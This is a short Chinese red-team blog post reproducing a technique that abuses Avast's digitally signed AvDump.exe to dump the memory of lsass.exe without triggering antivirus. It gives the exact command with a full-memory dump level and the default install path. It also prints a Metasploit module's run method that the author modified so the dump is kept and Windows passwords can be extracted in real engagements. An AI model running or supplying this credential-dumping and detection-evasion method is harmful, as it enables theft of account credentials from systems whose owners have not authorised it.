0x01 前言
昨天晚上在@Moriarty老哥的“红队学院”星球里看到一个“利用avast杀软自带程序转储进程内存”的技巧,晚上闲着没啥事就在本地环境中复现了一下!
0x02 avdump转储lsass.exe
AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,因为它带有Avast杀软数字签名,所以不会被反病毒检测和查杀,默认安装路径和下载地址如下:
- C:\Program Files\Avast Software\Avast\
- https://www.pconlife.com/viewfileinfo
.\avdump64.exe --pid 532 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\ProgramData\lsass.dmp
0x03 avast_memory_dump
原作者写的MSF模块在利用成功后会自动删除目标磁盘上的转储文件,存储在/root/.msf4/loot/路径,而且使用的是最小转储形式,所以在实战中没法从lsass.dmp转储文件中提取到目标机器密码。
这里我对原作者写的模块做了些修改,去除了自动删除转储文件,加了一个--dump_level 1参数 [完整内存]。
def run fail_with(Failure::NotVulnerable, 'AvDump.exe does not exist on target.') unless avdump_exists? print_status('AvDump.exe exists!') dump_path = datastore['DUMP_PATH'] pid = datastore['PID'].to_s print_status("Executing Avast mem dump utility against #{pid} to #{dump_path}") result = cmd_exec("C:\\Program Files\\Avast Software\\Avast\\AvDump.exe --pid #{pid} --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file \"#{dump_path}\"") fail_with(Failure::Unknown, "Dump file #{dump_path} was not created") unless file_exist?(dump_path) print_status(dump_path) print_status(result) end
0x04 原文地址